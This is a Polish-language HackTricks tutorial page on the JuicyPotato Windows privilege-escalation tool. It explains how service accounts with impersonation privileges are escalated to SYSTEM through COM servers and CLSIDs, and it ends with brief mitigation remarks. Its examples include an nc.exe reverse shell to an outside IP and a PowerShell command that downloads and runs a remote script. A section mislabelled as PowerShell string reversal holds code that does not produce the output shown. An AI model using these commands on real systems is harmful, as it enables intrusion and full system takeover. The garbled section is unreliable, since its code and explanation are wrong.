11 KiB
JuicyPotato
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź SUBSCRIPTION PLANS!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.
{% hint style="warning" %}
JuicyPotato nie działa na Windows Server 2019 i Windows 10 w wersji 1809 i nowszych. Jednak PrintSpoofer, RoguePotato, SharpEfsPotato można użyć do wykorzystania tych samych uprawnień i uzyskania dostępu na poziomie NT AUTHORITY\SYSTEM
. Sprawdź:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (wykorzystywanie złotych uprawnień)
Wersja ulepszona RottenPotatoNG, z odrobiną soku, czyli narzędzie do eskalacji uprawnień lokalnych, od kont usług systemu Windows do NT AUTHORITY\SYSTEM
Możesz pobrać juicypotato z https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Podsumowanie
RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na usłudze BITS
service, która ma nasłuch na 127.0.0.1:6666
i wymaga posiadania uprawnień SeImpersonate
lub SeAssignPrimaryToken
. Podczas przeglądu kompilacji systemu Windows natrafiliśmy na konfigurację, w której usługa BITS
została celowo wyłączona, a port 6666
był zajęty.
Postanowiliśmy uzbroić RottenPotatoNG: Witajcie w świecie Juicy Potato.
Jeśli chcesz poznać teorię, zobacz Rotten Potato - Eskalacja uprawnień od kont usług do SYSTEMU i śledź łańcuch linków i odnośników.
Odkryliśmy, że oprócz BITS
istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one po prostu:
- być instancjonowalne przez bieżącego użytkownika, zwykle "użytkownika usługi", który ma uprawnienia do impersonacji
- implementować interfejs
IMarshal
- działać jako podniesiony użytkownik (SYSTEM, Administrator, ...)
Po przeprowadzeniu kilku testów uzyskaliśmy i przetestowaliśmy obszerną listę interesujących CLSID na kilku wersjach systemu Windows.
Szczegóły Juicy
JuicyPotato pozwala Ci:
- Wybierz CLSID wybierz dowolny CLSID. Tutaj znajdziesz listę zorganizowaną według systemu operacyjnego.
- Port nasłuchu COM zdefiniuj preferowany port nasłuchu COM (zamiast domyślnego 6666)
- Adres IP nasłuchu COM powiąż serwer z dowolnym adresem IP
- Tryb tworzenia procesu w zależności od uprawnień użytkownika, którego udaje się podrobić, możesz wybrać spośród:
CreateProcessWithToken
(wymagaSeImpersonate
)CreateProcessAsUser
(wymagaSeAssignPrimaryToken
)oba
- Proces do uruchomienia uruchom wykonywalny plik lub skrypt, jeśli eksploatacja się powiedzie
- Argumenty procesu dostosuj argumenty uruchamianego procesu
- Adres serwera RPC dla dyskretnego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC
- Port serwera RPC przydatne, jeśli chcesz uwierzytelnić się na zewnętrznym serwerze, a zapora blokuje port
135
... - Tryb TESTOWY głównie do celów testowych, czyli testowania CLSID. Tworzy DCOM i wyświetla użytkownika tokenu. Zobacz tutaj, aby przetestować
Użycie
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Podsumowanie
Jeśli użytkownik ma uprawnienia SeImpersonate
lub SeAssignPrimaryToken
, to jesteś SYSTEMEM.
Prawie niemożliwe jest zapobieżenie nadużyciom wszystkich tych serwerów COM. Możesz rozważyć modyfikację uprawnień tych obiektów za pomocą DCOMCNFG
, ale powodzenia, to będzie wyzwanie.
Rzeczywiste rozwiązanie polega na ochronie poufnych kont i aplikacji, które działają pod kontami * SERVICE
. Zatrzymanie DCOM
na pewno uniemożliwi wykorzystanie tej luki, ale może mieć poważny wpływ na system operacyjny.
Źródło: http://ohpe.it/juicy-potato/
Przykłady
Uwaga: Odwiedź tę stronę w celu uzyskania listy CLSID do wypróbowania.
Uzyskaj odwróconą powłokę nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Odwrócenie Powershell
Polecenie Powershell rev
jest używane do odwracania ciągów znaków w języku Powershell. Może być przydatne podczas manipulacji danymi lub ukrywania informacji. Poniżej przedstawiono przykład użycia:
$ciag = "Hello World"
$odwroconyCiag = $ciag.ToCharArray() -join ""
$odwroconyCiag
Wynik:
dlroW olleH
Polecenie ToCharArray()
konwertuje ciąg znaków na tablicę znaków, a operator -join
łączy elementy tablicy w jeden ciąg znaków. W ten sposób uzyskujemy odwrócony ciąg znaków.
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Uruchom nowe CMD (jeśli masz dostęp RDP)
Problemy z CLSID
Często domyślny CLSID, który używa JuicyPotato, nie działa i atak nie udaje się. Zazwyczaj trzeba wielokrotnie próbować, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do wypróbowania dla określonego systemu operacyjnego, należy odwiedzić tę stronę:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Sprawdzanie CLSID
Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.
Pobierz Join-Object.ps1 i załaduj go do sesji PS, a następnie pobierz i wykonaj GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.
Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i go wykonaj. Rozpocznie on próbowanie każdego CLSID, a zmiana numeru portu oznacza, że CLSID zadziałał.
Sprawdź działające CLSID używając parametru -c
Odwołania
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCYJNY!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR do repozytorium hacktricks i repozytorium hacktricks-cloud.